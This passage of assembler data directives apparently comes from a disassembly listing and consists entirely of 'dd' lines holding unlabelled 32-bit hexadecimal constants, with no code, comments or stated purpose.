		dd 0AB3FC6BCh, 609A4B19h, 0B5E2300Fh, 8EF8F7C3h, 0A88651Fh
		dd 0BB67D3C0h, 8DBA0Eh,	0DF4A1A55h, 521E801Fh, 764F1400h
		dd 8B0E6958h, 0F76D1CA1h, 0C77A41B8h, 41617444h, 0CD03C880h
		dd 0D0E1EC9Dh, 2F1DA102h, 40ADBFB9h, 48EE79h, 2E453694h
		dd 0A9F092B6h, 24D458h,	0FFD4F74h, 7E36Eh, 3AB91DA7h, 278A0BFCh
		dd 3B2B20F9h, 0C3A0EB00h, 4641902Ch, 45250085h,	4F835619h
		dd 94503D6Eh, 23053FCBh, 0BA911BC9h, 0D133AC00h, 7FD31Ch
		dd 2B10D418h, 8F625CE7h, 32ADF900h, 78C7122h, 5E9100ACh
		dd 720246B6h, 8A0A6EC2h, 0EBE4538Fh, 0F3EC500h,	48CBC6AEh
		dd 88003C96h, 0B8AF17C4h, 7F00FBF6h, 0E3E9D240h, 0E5F1AA0h
		dd 668AF3AEh, 0B7FEA28Ch, 3600B6FEh, 0E373DDB0h, 278C2Ch
		dd 7F924193h, 8957CCBCh, 60D4190Eh, 187701F6h, 12F0282Fh
		dd 0D8F7EB81h, 8D07EDh,	4B53BA9Fh, 268B78ABh, 2A06D800h
		dd 84DC52FDh, 0EAC41E02h, 5A3EC08Dh, 964FA10h, 6A225012h
		dd 0F7C21800h, 0D0128Eh, 428ACB68h, 0BBAAD67Ah,	8C79E828h
		dd 0E79C8C00h, 0E3CB9865h, 3EE0030h, 0F01D39F2h, 17045705h
		dd 0D3DBCF9h, 70F3C0C2h, 0DD6F167Ch, 0E7C900BAh, 1A58FCC5h
		dd 0AA006BF8h, 0C115AF07h, 10B1Bh, 0DE300CE3h, 0E5472565h
		dd 24763800h, 345D0E74h, 0DFA404A0h, 843C2942h,	53E00E9Ah
		dd 3ED1FCA0h, 0B4A8E82Bh, 0AA1DFA84h, 5C8093E0h, 0D681A489h
		dd 0EBDB0304h, 802097D7h, 8C752801h, 6046B964h,	18CA1ED8h
		dd 0E8D5881Ah, 31007947h, 42376AA6h, 62F1333Ch,	46BDC808h
		dd 26CAE380h, 66008BD9h, 0EDFE6977h, 486B23BCh,	4C04009Bh
		dd 80D32592h, 4264CB05h, 35BE7700h, 11683215h, 144B001Ah
		dd 0A31710A1h, 99009121h, 0A622BC4Fh, 69A97Dh, 5B5EE801h
		dd 23F85CDAh, 37015DF4h, 63E3061Dh, 53EC7D45h, 4C0800AFh
		dd 419ECE02h, 4900B2DEh, 3F800694h, 90BEDA25h, 0D9E71E95h
		dd 488D0011h, 370BA790h, 89EB4E03h, 0C922DEEFh,	0EBCAC33Dh
		dd 31D2F0ECh, 7ED1018Ch, 5C864946h, 0F9440B4h, 300193C4h
		dd 5801AFA4h, 1883B1EAh, 1A8EFFBAh, 0EEF91DA0h,	2B8C6607h
		dd 6AC353C1h, 77FCF0E9h, 692F00DDh, 9F3ACF19h, 0F4032289h
		dd 0FA9C4D43h, 1A1BB8A2h, 385400F6h, 159B926Eh,	0A113D94Bh
		dd 5800F561h, 0EA35740Bh, 0C96F05E9h, 9021976Ch, 8D0838C0h
		dd 28FC5130h, 3A24611Eh, 0F314F431h, 0F79819Bh,	0F1A84EACh
		dd 602D06C1h, 0F488D09Fh, 7A702CF5h, 0E0003F7Ah, 3E71AC84h
		dd 81FB5Bh, 590C6041h, 0AD15C316h, 581A3Ah, 0A3E4349Eh
		dd 3AEBF2h, 4C520550h, 179ADA7Bh, 7F24E501h, 19CABB2Fh
		dd 2DEF1C8h, 0DFF4343Bh, 0DC483FDBh, 2401D5F6h,	5BF8C6AAh
		dd 198144F7h, 0DA4CC7BAh, 0C4197009h, 0F1A4C800h, 7C9F91EEh
		dd 5A182454h, 0F74200D1h, 462B8307h, 7BF51E00h,	0FD39BAA4h
		dd 9A8C0172h, 843894C9h, 3E903010h, 0F69FE005h,	0B0803B86h
		dd 73A6DCAh, 1E12C699h,	13A733CBh, 1D8D30D0h, 4C9D100h
		dd 2D50DFE9h, 2F430C90h, 1A28216Ah, 0DB8FE700h,	5A83C68h
		dd 0A030B03Ah, 0E380F00h, 3116696Fh, 9B41DA0h, 0C987CC9h
		dd 80B330FDh, 0D0C15300h, 6192C50Dh, 237300A5h,	3688D515h
		dd 0B2EE2796h, 7199C001h, 0AC34D01Ch, 80EEF3E1h, 10853AECh
		dd 66CB126Dh, 37FC0138h, 8905B9E3h, 1B5F398h, 0B21B21B8h
		dd 911D020h, 1FADFA6Eh,	0B6EEF901h, 761880B1h, 78B2FC89h
		dd 226700B3h, 7AFB42C6h, 0AA00458Eh, 9E2E617Fh,	1F51A429h
		dd 0C00ED044h, 7C3BF75Fh, 0D928EFCFh, 473ABCE8h, 8189809Fh
		dd 0C3CEFD0Eh, 222300D8h, 1C762ED0h, 7E0090E6h,	73B91C6h
		dd 0A9681Ah, 0BB4E52A5h, 88774523h, 95BD9800h, 0B610D580h
		dd 6A43E4Ah, 0CAF3C180h, 5AAE41F5h, 0C7282000h,	0CCB44BC4h
		dd 790401B3h, 130C58A6h, 17BC2C93h, 57007A14h, 1D184B1Ch
		dd 8B0EAh, 0B0E3DD6Eh, 5CE16285h, 81F8593Ch, 117958EBh
		dd 0E3605398h, 31800084h, 43172F30h, 0EBEAE452h, 38A0B526h
		dd 1C2A3E00h, 0FF6742h,	16C21355h, 88E5C5AEh, 312FDB00h
		dd 261E66F0h, 2B8F0158h, 0BC03F3Dh, 20FEC533h, 0D745D5D4h
		dd 48CB55C4h, 7D007429h, 0E5533A58h, 511FB81Bh,	0B5C0BEC3h
		dd 0F0AF490Bh, 0E4C4A22h, 10CBD670h, 0B584CC20h, 0DB065F66h
		dd 44EB7BABh, 9CB83E19h, 28561D01h, 52E6F9B2h, 8960188Ch
		dd 160999D3h, 10CF82D2h, 0B72FA8h, 760AF1Dh, 0E1133389h
		dd 6F00D0BAh, 46A0F4E5h, 507FD0h, 0B6DD78DCh, 0DE80C532h
		dd 1B581060h, 0E84FD0A8h, 5FB21897h, 0DF237195h, 0ADF12F60h
		dd 3A10BC3Ch, 814814ABh, 83184637h, 30C7BBA4h, 0A97C0572h
		dd 6FF520C5h, 543478D0h, 0D0782F55h, 8B8C8C00h,	2DF8EF6Eh
		dd 0B358C703h, 9870BC2Ch, 1FC27333h, 0FD22A0F3h, 0A3999C87h
		dd 53662303h, 357E41BEh, 0B30EBC0Ah, 0FB005464h, 98192E0Bh
		dd 442600A5h, 0D4BCB5E0h, 6F1E779Ah, 0D3561487h, 0CAD3B08Fh
		dd 788119B8h, 1C7CFE71h, 9AD91C0Ch, 11000BF8h, 8034F196h
		dd 18A06EEAh, 993FFAABh, 9C62ED1Dh, 2295A529h, 0EB2470EEh
		dd 0F00BCB40h, 0D901F233h, 0CD5B8A0Eh, 0F8D859D1h, 747D66h
		dd 16C0AAEEh, 93CC7DF9h, 0BB812100h, 7352F480h,	59CA002Ah
		dd 725FD479h, 4F0FBC8Fh, 214E9F2Ch, 90548A30h, 589C38CCh
		dd 0C63B84B2h, 0D13F9D00h, 1DA17D9Ah, 9E02BB01h, 4B7BBF45h
		dd 0BD3F5F8h, 22C350E7h, 0C91D6D00h, 0FA54A3ECh, 8491238Ch
		dd 0CC0CE297h, 17C7B8E1h, 430BBFCFh, 0EB1E6164h, 29D3D5F8h
		dd 689790C0h, 418BC8h, 0B11C15A1h, 0D2BD85ECh, 588A48h
		dd 0F9088847h, 15B852C0h, 0C442DAC5h, 0F093571Fh, 0D7331959h
		dd 9ABFA32Eh, 0FB404E1Fh, 38DA6864h, 55BE2D8h, 8BFAC4E4h
		dd 0E16080B9h, 0AE296D9Dh, 0B3118456h, 10F15300h, 0AE70BE43h
		dd 6ECD1200h, 2B32E303h, 6CF3587Ah, 92004C20h, 712FCE6Bh
		dd 27025E9h, 0B8475240h, 0F8E8F39Bh, 9100FCACh,	18B9EC7Eh
		dd 7349FDh, 90C15E60h, 0B4F09D3Ah, 543F7207h, 3BB02AE9h
		dd 1D575188h, 804095A4h, 1A0D7E83h, 0D80005C9h,	4BCEAC6Dh
		dd 30B92215h
		dd 1B10604Fh, 0E2461DCh, 9383F8C6h, 0A858CFB1h,	6372DECBh
		dd 669E29C4h, 145EF3B8h, 563A4506h, 83365B65h, 12B490E0h
		dd 0DE7803A9h, 34CA1E71h, 0E56C28C0h, 0E42E1C24h, 0F1AF7000h
		dd 14784CDAh, 0E04E69D6h, 9B00F93Ch, 2A451F18h,	78C0F589h
		dd 4BFE1083h, 0C9541911h, 0D0A838A6h, 1C3F456Fh, 168001CAh
		dd 0C3A5BF21h, 4E412180h, 1F726173h, 0BC379D00h, 42CD1B81h
		dd 0CEB7B0Fh, 319476FCh, 5C007AB0h, 49E2FE80h, 90DB5Eh
		dd 7FDFE178h, 28433667h, 4F3A1E03h, 0A80D6886h,	59D17203h
		dd 0E4011CEBh, 0B2A95A5Bh, 0A102E446h, 336FAE70h, 13C0C1D0h
		dd 9C6C47CBh, 0FDD94A00h, 0BBB1E156h, 0EDEBAA07h, 5D0E7EE8h
		dd 0F8378E4h, 80DA4DABh, 4346982h, 76392C3Fh, 0E6E4C1E5h
		dd 0A32984F4h, 58837B5Fh, 0B9BEC035h, 801F0146h, 24F27F6Dh
		dd 512983F6h, 0A8407ED7h, 1CC0EBAEh, 0C0B573DDh, 0B3ED8E9Dh
		dd 2603B113h, 0D87E2A7h, 352BD8C1h, 82AB00FFh, 0CD950512h
		dd 0E40242FCh, 91604732h, 0B8C05C38h, 962CC02h,	0E980DAFEh
		dd 0A3BDCDEDh, 98922400h, 0B226BA4Ch, 0E18D00ABh, 35D61E56h
		dd 2860C786h, 0AD3DF7ACh, 14610154h, 1BC891E6h,	89C4036h
		dd 557AB5A4h, 46432107h, 8C322594h, 813C6869h, 0D8756Eh
		dd 8682FB58h, 201B1F0Ch, 0EF02EC09h, 8058802Dh,	2CDADDh
		dd 6483C935h, 0F7F4B20Ah, 0B1BCCC00h, 0B83FFF98h, 11DE00F6h
		dd 1D9FB4C3h, 0E0345A3h, 1EE94AACh, 2610581Ch, 19020071h
		dd 8F527C18h, 0A743E3Fh, 0D58A4F00h, 2666D8C4h,	0A289004Dh
		dd 485D3605h, 8200DB63h, 289435A4h, 0B393D6h, 0C39A8D08h
		dd 0A59E2BFCh, 98DCF11Dh, 0D06F06C0h, 9DB0E9h, 4E9602BAh
		dd 0DEC3A44Dh, 97078698h, 0E185A3Ch, 205C35F0h,	0E5D43073h
		dd 82764728h, 0D1601075h, 249A1F21h, 2C080162h,	964154FBh
		dd 0EC74E899h, 1D80AA00h, 79F03DC3h, 0EAF470h, 0FAFB030Ch
		dd 2A8A0A5Bh, 20360E03h, 0F087E034h, 115381Ah, 0B78101B8h
		dd 0E0953B19h, 69736BFBh, 233E43Ch, 9791F356h, 88BEC34Eh
		dd 0E650DED3h, 0E5D002FFh, 0A7084FD5h, 0C86CE3E1h, 80B25D0Ch
		dd 1132E11Eh, 3FF548C0h, 0DC2263h, 0D133CB77h, 0A84FF1E5h
		dd 7294B648h, 80E6F424h, 216CC800h, 78149C47h, 41715F5Dh
		dd 0DC054130h, 0C18420D3h, 1B80C09Ch, 76920AEDh, 9B673EFh
		dd 0BFA53336h, 9500DC8Eh, 0EA94D73Fh, 25C8DA0Eh, 703860ABh
		dd 0EBD322h, 0C2AE57A8h, 0C5A20CC7h, 8E895D38h,	0E21F4797h
		dd 60D2824Eh, 1C48CB8h,	0B272DDCAh, 8029B5BCh, 5C4F8EE1h
		dd 0E6DB6E9h, 1D243F2Ah, 0FBD35424h, 29FC6500h,	0DD81F6h
		dd 5008B13Ch, 7CEFC5E6h, 0D096B900h, 0BE7D8DE7h, 0B6230291h
		dd 288C79DBh, 5A618042h, 9EE02C3Fh, 8C81802Ch, 0C813ADD5h
		dd 5C00502Ch, 8E442C5Dh, 4116630Dh, 0E00157Ch, 6776EF66h
		dd 0F3BB307Dh, 0B62609C8h, 0F4E70426h, 40083E03h, 6AC90005h
		dd 158ED02Ch, 6C036EFAh, 0B9B1E8FBh, 0D4C6F0AFh, 0B060FD58h
		dd 5D990037h, 0E101B26Bh, 0D5011B61h, 29CA9332h, 0F3401939h
		dd 60DC7652h, 1034C96Fh, 8094CD6Ah, 0A4664A82h,	407860h
		dd 8C32730Ch, 0F40D1DB9h, 0F8E00161h, 808EEF5Ch, 8A02B546h
		dd 6051CF6Eh, 8C55045Eh, 0A465B30Ch, 9D161D04h,	84002B2Fh
		dd 961B5298h, 106254B2h, 1C781DEh, 23D1BF2Dh, 4AF602D0h
		dd 1F584072h, 0CAD78FAh, 0F5427894h, 2D108707h,	877C5841h
		dd 62786C7Ch, 96EC88DCh, 0D0581B20h, 3028C01Fh,	1AFC947Ah
		dd 77952D04h, 90A60CA9h, 58C58701h, 0F1FC2D21h,	0DC445270h
		dd 4173C04h, 0B10F7Ch, 9F18159Dh, 52F30074h, 367DE61Dh
		dd 6A007856h, 0A071C4B0h, 8B99CABh, 5FC60A8h, 74A91480h
		dd 3158B5h, 0B7BE5D7Eh,	1DBFB044h, 0ECDD2508h, 0A91A0033h
		dd 7D439656h, 0ED166D14h, 0E81C25CBh, 12BAAF3Ch, 0E4C3C90Ch
		dd 0EA7AB198h, 0F1BF3Eh, 275FFE55h, 9D3C9FE3h, 0B9D81004h
		dd 0DD047724h, 1713EB5Ch, 0DE25ACADh, 0E679EC68h, 703E9E3Eh
		dd 24A8C754h, 1C384F3Dh, 0C100C0F3h, 2945CC86h,	598507C3h
		dd 0F093F2C6h, 948E5541h, 49231318h, 0C0639DA9h, 0F3B1FAA1h
		dd 0B97B7638h, 75850500h, 570C12DBh, 18B2EA87h,	38142E6Bh
		dd 3044FDC9h, 0FEDAFE8Eh, 0A8049D11h, 160CA90Ch, 310B8427h
		dd 64AA01D0h, 0B1819D2Eh, 879C0C81h, 892BCDCAh,	1E35749h
		dd 0BC1EBADEh, 3C06A8F4h, 0CD8EF48Ah, 98A01CA1h, 0EAAF62F5h
		dd 0A42C2360h, 0E23C8F22h, 0B3523EC1h, 0FB3A4E00h, 0B02C6F84h
		dd 4B19F700h, 0A1A8253Fh, 909B0017h, 0AC117C1Dh, 400E6CF6h
		dd 0C26CBFFh, 6599D5h, 469B932Fh, 47E1885Ch, 0D8B33A00h
		dd 53DE217Dh, 65053B8Bh, 5531CC30h, 446F0A8Dh, 75000C0h
		dd 145EB1h, 0A666571Bh,	252F5F38h, 0E03D0C01h, 0B29C867Ah
		dd 21E4E450h, 0F9310EE5h, 2EEFBC40h, 8F0E7D40h,	0B801199Dh
		dd 4295A84Bh, 0C260D1C0h, 0F4DA00D6h, 0A92E5A0Fh, 0F6009CF3h
		dd 67EECABh, 0DF9A7Fh, 39C75FCCh, 5D8A1C71h, 5A83DE00h
		dd 0FB2AA8AFh, 1A75003Ch, 91625BBEh, 30CF9F12h,	0BD1C6099h
		dd 0F8BFBBE5h, 666C00E4h, 9CB0DABAh, 4B004685h,	1EDC7D25h
		dd 2C87F97h, 5FAC04A5h,	0EC6062ECh, 0BD00122Ah,	3D6D9654h
		dd 1FA5DBh, 970C6A7Bh, 5EE64878h, 6E6C9500h, 70217726h
		dd 0C89D001Eh, 97D2CC1Fh, 0B0000F64h, 1CDD9A54h, 0B9702Bh
		dd 93756F6Ah, 74E65A88h, 4AF62D00h, 29E424ABh, 0E0FA01BFh
		dd 0B65FA89Dh, 28045E4Bh, 48714B4h, 0E81B865Fh,	630010D3h
		dd 83CBEB5Dh, 1CB48A9Dh, 42B34Eh, 1B5924C8h, 6672B675h
		dd 0E53B6219h, 7B085629h, 84490644h, 42DDB222h,	4FA1172h
		dd 11A95D11h, 0BE11D775h, 33D11B5h, 4014B121h, 149A2828h
		dd 42FEB922h, 0D5D911C5h, 0D308A621h, 949990FAh, 28CC32D7h
		dd 0EE631202h, 8ED2921h, 0E9012D6h, 48F23884h, 11C64201h
		dd 7804EA25h, 0D548F1F0h, 210BA743h, 0DB083629h, 842990EEh
		dd 524806E3h, 31FE6782h, 4467C09Ch, 0C095006Ah,	0D5AD5D14h
		dd 300E26Bh, 0AA367FDDh, 4C78B8D2h, 87301632h, 5AC620EAh
		dd 0CEF53D00h, 93C0A474h, 1545018Ch, 0FAAB91A9h, 37E7E07Fh
		dd 94624A00h, 73CFCCDh,	80641C52h, 0FB53039Bh, 3BE171CEh
		dd 0C4CD3006h, 4C516D00h, 0A5E33645h, 895F0E43h, 4D407190h
		dd 26FCEB1Bh, 301811C3h, 1EF4F008h, 45790907h, 44006116h
		dd 8B68370Ah, 83288867h, 0E17DE5D0h, 0EC7D07h, 9163C379h
		dd 0ABDD0C98h, 1D7B2D00h, 748D526Dh, 0D7720030h, 5505B085h
		dd 0FD7DAD63h, 0BEC1AF04h, 44041C02h, 0D8B00073h, 0C01BFA8h
		dd 0AACB20FFh, 37073470h, 4C3EEA5Eh, 382EA5C0h,	43CC3C5Bh
		dd 0C8E33C00h, 31790869h, 0B06AC130h, 7B7E046h,	98E7ABE5h
		dd 6C01D028h, 2D3CF937h, 7A85003Ch, 922E9713h, 0AE0900E4h
		dd 0DD72CC07h, 32002659h, 0A290104Ch, 200462h, 3FCF3979h
		dd 0CB8E4129h, 2CA85D2Eh, 45BCC803h, 0B8D980AFh, 0BB26065Ah
		dd 2979DB86h, 0F5083E00h, 82CC996Eh, 0DAC40C88h, 4A58934Ch
		dd 0E6A5C100h, 4ED98D65h, 0F4BB0250h, 9E11DF42h, 87330440h
		dd 8C712A28h, 0EF4C1A01h, 78A62DC5h, 77574E4h, 0E0087916h
		dd 80CAF00Ch, 6624DF5Bh, 0EC000E01h, 0F8CD1054h, 0AFAA036Eh
		dd 7AAC4019h, 9BA88FF0h, 44D20900h, 0C51C5AFCh,	0EA7969h
		dd 111BC06Fh, 0D3569326h
		dd 0BD553D00h, 0CEA9A6E2h, 0DE050061h, 3409B996h, 8F71904Fh
		dd 620AB675h, 0BC8D5B1Dh, 0D05F4000h, 85083Dh, 17A60FBEh
		dd 46E9A56Eh, 0DE0078EAh, 0F44C0343h, 144A47h, 779768Dh
		dd 0DCE2885Eh, 9164E500h, 44B727D2h, 0A34F002Bh, 716D4EEEh
		dd 2500178Dh, 31B3DD8Eh, 4A3678h, 0BF516F0Eh, 4D38B10Bh
		dd 0CC51D00h, 142B9FBAh, 0FAE4C7h, 407B1E33h, 0AE3DB0E0h
		dd 0D3C61300h, 0C9524960h, 92581221h, 0C6100A3h, 0A9F036C5h
		dd 0B9EF0400h, 0C772EB88h, 0E7F7D7Ah, 26D93770h, 84CC98C0h
		dd 671C6A6Eh, 4440D61Ch, 52F0EC03h, 188FA29h, 0F26357B8h
		dd 0F4B5C19Eh, 0A6F46DC7h, 8FFD2D04h, 428353EBh, 0CE80FC8Bh
		dd 73799280h, 0A29700FEh, 0D60FB52Ch, 0DC005F56h, 0CEB1F24Eh
		dd 90AEC4h, 62091086h, 51559866h, 0D0B38F27h, 7A8100F7h
		dd 2EFEFAD8h, 0A4001F4Bh, 0CD76D59Ah, 9BCEB2h, 0E742A371h
		dd 2856549Dh, 72225900h, 4D13A406h, 1CB754Fh, 0A911BCAEh
		dd 0D8F3843Ch, 0D60F96D2h, 60E1E38Dh, 0B3CEFAE4h, 0E88E00F8h
		dd 7D9731A6h, 8A0005BAh, 0DF18A54Eh, 0C6DD255h,	38F9A3D1h
		dd 6C02548Ah, 76C53DADh, 3DE096DAh, 0A48001CEh,	0D1629C23h
		dd 8B01F7B7h, 276080D9h, 0B840226Eh, 0D005BFh, 77FD2C75h
		dd 9D881910h, 0BBE1F300h, 0FF038FD8h, 0FAF40241h, 581D8649h
		dd 0A5F6A080h, 0C11042FDh, 4C001059h, 0AC43E50Bh, 5A7D39BFh
		dd 54E78702h, 40BD823Ch, 78C9810h, 0FCFAA8E0h, 0DC80BF42h
		dd 0A1DEE557h, 0CA0355EEh, 77809C05h, 2427908Dh, 4BB20E85h
		dd 0EF4064DAh, 8AEE9ADBh, 0D1B95F01h, 192BC266h, 3C58BCD4h
		dd 7D809DEBh, 32D25A17h, 2503AF1Bh, 4CB78F89h, 0D5B3B0BDh
		dd 30B01C82h, 0C74A8F76h, 2B707260h, 1C0019A0h,	44797B67h
		dd 1F07B869h, 0A74E8Eh,	8D2DC6CCh, 471D0F3Bh, 0B28E29C4h
		dd 8EBCA087h, 932442h, 2AC8140Bh, 4C785131h, 0F843C603h
		dd 0FC9E02F1h, 45CE7881h, 0A269FC0h, 348912A4h,	4A8E40F0h
		dd 0E0001CA1h, 0F702CD56h, 89C299h, 9CD1E5DFh, 0F1BAF6F2h
		dd 84DD870Fh, 6D96E0CBh, 3DC01E2h, 0D8924EEAh, 0D7E84781h
		dd 2E2A6BBFh, 0AEE4EC11h, 0D165FF00h, 450466AFh, 24F4EDD4h
		dd 0AD5059Dh, 795EA6Eh,	877637CCh, 29B6604Fh, 0EF0362E5h
		dd 463404C7h, 0C38CE0CCh, 6BE707E2h, 0F16A19BEh, 40C28750h
		dd 9F89883h, 15DD2800h,	86C01410h, 0BAD007Eh, 1D40F56Fh
		dd 8F70971Eh, 348BCC03h, 7B504F2Ah, 70930031h, 1FA73C51h
		dd 6600E812h, 0B7BA8582h, 0A0950511h, 2BF0E0h, 0B3D5B145h
		dd 66267D61h, 0DB78100h, 1B4E3A74h, 0B0C0041h, 96B5CDDBh
		dd 1F002FA9h, 0A4EF22A2h, 3A8A54Dh, 0D94B64F6h,	0CA887AC4h
		dd 6B000BD5h, 37232CF1h, 1031Eh, 87E12E18h, 9ABE5BBDh
		dd 0AF468E1Ch, 0A3739547h, 0D826E363h, 4A5E199h, 68EF90ABh
		dd 9B64C8C6h, 0D26EE402h, 4037F251h, 0C8288h, 0A089310Dh
		dd 0CD54E61Eh, 0A46D101h, 1D650FC1h, 0ECAFB041h, 3E804DC4h
		dd 48BF78EDh, 0ADD9CD06h, 3A00A2C7h, 5C718F46h,	5BD16Ah
		dd 0EC31C85Eh, 0D23FD889h, 0A811C500h, 0B407CA99h, 22B0084h
		dd 0D19BC65Eh, 7103B048h, 0F72CB7Dh, 0D975A00Ch, 4CF31CBBh
		dd 37868082h, 0A422B838h, 275B3900h, 0F97697E5h, 0A1202632h
		dd 2C950045h, 98A8D49Bh, 69437700h, 0ADE92D76h,	803F00E7h
		dd 4E7CCF04h, 0B4011FF4h, 0B9924B9Dh, 0C8F4AE4Fh, 18290025h
		dd 6A3EDBF7h, 0CF00D7E1h, 0E6C21275h, 9A3942h, 0F114AEFAh
		dd 918FBCB3h, 0BAAB4700h, 0A65E5AE4h, 666F0FF9h, 0F40D3CCh
		dd 1F341B5h, 70C7C504h,	70D0CD63h, 7A7A04FDh, 0D75E002Dh
		dd 0FBBCBA6Eh, 0C81E4A5Fh, 0E2C0CCF0h, 0A9592EA1h, 0ECA67A90h
		dd 2A81000Dh, 6CC4FD9Ah, 73074EC8h, 0BFB486CDh,	0F64D3030h
		dd 7D510056h, 9FD09314h, 59036727h, 0B0A80347h,	94B0BF78h
		dd 31F8F0h, 0B52B4993h,	652E4EF6h, 0A058D500h, 2C87845Eh
		dd 0CAA9007Eh, 0BDF7259Fh, 0A090D854h, 0FC7B9200h, 0C77A9D99h
		dd 33571D49h, 5E10405Dh, 0F54ECD75h, 30C042E0h,	0B1DA6104h
		dd 2D214C86h, 2E012B00h, 878D5940h, 0FC9A6E09h,	0B629804Eh
		dd 4CDA453Ah, 0A013C91h, 62A3448Eh, 703030E8h, 0E8A1DB26h
		dd 0E640CA1Fh, 129A1C5Bh, 0C53B0079h, 0D193FDAEh, 7DB0D095h
		dd 0B8246600h, 523E7009h, 0D7B91DC2h, 43C264Dh,	0CD0446h
		dd 0CE514F89h, 0FE420F85h, 0D681676Dh, 20112554h, 9877E084h
		dd 0EE005877h, 0AC75C620h, 987479CBh, 3BBE00E0h, 51E265E5h
		dd 9024A32Dh, 7C388C3Fh, 0F0B65900h, 0E5F24336h, 0E375FCh
		dd 485C8673h, 2A5DBBEh,	74591A09h, 927603C5h, 0EC84B5D0h
		dd 73828C00h, 9DA1C4h, 8BA5E414h, 8E43929Ah, 55171E00h
		dd 7C517DE5h, 9532004Ch, 31ED2288h, 5900A327h, 40D69ABAh
		dd 3643F9h, 8539E168h, 0EFD5EB92h, 462E98E4h, 0E700E7F4h
		dd 4C9E22F8h, 137E0014h, 0D8B57C3Fh, 0A000404Fh, 8CF747E3h
		dd 78C678A5h, 0C00CE06Eh, 0CF889218h, 0BC00CBB1h, 71F94BF6h
		dd 0F25BE86Ch, 0B8D10355h, 4A29FC1Fh, 627C97E8h, 760058B0h
		dd 4D36A8C9h, 2EB49F7h,	6C3D5D03h, 0E980971Ch, 0C0B7AA28h
		dd 0E40338B8h, 0CCF4E6A9h, 0DE8A98BBh, 9BC500BEh, 0B2DC9129h
		dd 33007B36h, 699ED047h, 0C3A5CFh, 0EEB6C27Dh, 1B9D3750h
		dd 0EB28A400h, 0B3E67301h, 0D068410Dh, 25008DA9h, 3A0E238Ch
		dd 0FA15278Fh, 7A262E1Bh, 2610024h, 0C30DE21h, 2C18D848h
		dd 0EC02C484h, 60A39BB3h, 2E25F5A0h, 7379A0Dh, 40052ECEh
		dd 0E9031122h, 0F27B370Dh, 0D0CF28B5h, 75FAD71h, 0D38B2D05h
		dd 400950A9h, 0A803DAD1h, 432F6338h, 9932B8E1h,	8B60067h
		dd 0BFF08B3Eh, 91C91A5h, 3DDDB946h, 60C05B0Fh, 0F738901h
		dd 0EE33041h, 836A3118h, 260330EAh, 0D0C6120Dh,	0C429C83Fh
		dd 852E00A4h, 0C687D73h, 38076A64h, 0C3763C98h,	0E731612Fh
		dd 0F8F8BFFFh, 0E8540ED5h, 3484865Ah, 4484C04Dh, 9401AC80h
		dd 0E643A66Ch, 0F1C4509Eh, 6B47008Fh, 7F1FB6DEh, 7200902Ah
		dd 0C13202Ch, 733ED7C0h, 939063h, 51CAE874h, 39B3374Eh
		dd 84EDC426h, 0E70F431Dh, 1C11A06Fh, 7333CE8h, 0A1874DB7h
		dd 0C017242Bh, 0D7EB66FCh, 7F3CC4A8h, 0C59BECA1h, 9B40EE62h
		dd 4900446Ah, 2F48F519h, 2AA24B85h, 0D429E6h, 938D5DA7h
		dd 513CE38Bh, 9B75606h,	21630Ch, 293BBC6Dh, 337AE1B8h
		dd 4A0E54B8h, 805BCBF6h, 0AA7B32CEh, 0D710090h,	0A5B214B3h
		dd 0FE3E1593h, 85C71D79h, 0E91200BAh, 57D3BE6Fh, 0A890AEh
		dd 6605B242h, 0F11ACF60h, 4F32F0C0h, 48D06F4h, 5DAEA574h
		dd 0A474C0C8h, 0C2008481h, 65A6ABBAh, 28D278h, 64620812h
		dd 52FD7E2h, 558D8700h,	0F967EAB0h, 56D61C59h, 0EC7061Bh
		dd 6600119Fh, 0ABFA1921h, 306E3ADAh, 0AE60D553h, 1C007B17h
		dd 62D6B7EEh, 0F48EC75Ch, 6839C091h, 2663DD74h,	7C034E26h
		dd 13FC0600h, 0F4E57896h, 0D6390C02h, 6B11A938h, 98D04Dh
		dd 0A0D2D163h, 973CDD3h, 28F5BDD7h, 61AE01DFh, 30804EEEh
		dd 49F6112Ah, 7C00872Dh, 0C83045FDh, 182B07h, 66902E97h
		dd 0B7FD51Ch, 0FF69D701h, 2F38BD64h, 0A712E0h, 0A1A46D1Ah
		dd 0BA05EF25h, 9BF57E00h, 481F7D8Ah, 16617107h,	7DD0ECEh
		dd 705B3E84h, 7C6D6986h, 0BA37CB00h, 48DB4505h,	0CAE43FDAh
		dd 0FC117A80h, 4F60E8E0h
		dd 55509D00h, 0A5FFC57Fh, 396F01C1h, 825E995h, 0D63CC817h
		dd 0B0BD3D03h, 0A8978FA6h, 0E4A4DBE6h, 3F9400EFh, 0F048DEC4h
		dd 9D00E0B7h, 3EEC0891h, 1A2B182h, 2114667Eh, 0DC3CD923h
		dd 6300091Dh, 7571BEC6h, 9EF0A4Dh, 6E37E7E5h, 0C0401469h
		dd 350E544Bh, 60A80F9Fh, 0B3D661B2h, 37790031h,	22632723h
		dd 3A009C4Ah, 0B4AD4705h, 295B58EAh, 0BE814A1h,	3F0119D1h
		dd 0FCB34109h, 0B039B21h, 8EBE1E1Ah, 0C6D682C0h, 1D200C4h
		dd 1B7EFF11h, 602C808h,	0EE53EAA7h, 80C45190h, 0F505B9C9h
		dd 7EB03FDEh, 98D0CC00h, 0CBD5870h, 2E2A00C4h, 2F3A0A3h
		dd 0AF00FDA1h, 62536A5Eh, 1EB518CEh, 0C5BD8Eh, 0B4BF8416h
		dd 0C00081F0h, 7A7773B8h, 698E98h, 74533540h, 7E462427h
		dd 632C7BEEh, 5B050DF5h, 54C19895h, 2EE86F08h, 6C041DBDh
		dd 0E3BB4002h, 0EC44A07Eh, 4E5527h, 26AB5AB0h, 8789888Eh
		dd 501CC57Fh, 31004AFCh, 0C79344E3h, 8F1600C2h,	3976E4F0h
		dd 5D010470h, 0E59D9E06h, 0EBE4C08Ah, 0DE72003Bh, 3502EFE8h
		dd 0A30E1DE4h, 47155011h, 80FF1E2Ah, 52304031h,	6C454C35h
		dd 0D87D2800h, 4FE1E0A5h, 99949A00h, 75C9AC2Eh,	0B5FC0C12h
		dd 3F31A1DFh, 0B188720Fh, 0FBC1FC54h, 0EC1B1718h, 8C9120h
		dd 97A31F8Fh, 0C9BA6B82h, 8DC29B0Bh, 2A74A0BBh,	1A9E7BFh
		dd 0D8972C94h, 0CF7FC306h, 7BFC1680h, 63071405h, 548013DCh
		dd 1E21294Fh, 40BDADF7h, 8680ECF8h, 7D05CE78h, 177AC36Dh
		dd 2F2BE800h, 4736B1Ah,	0FE163D30h, 6D5CD087h, 0F00C275h
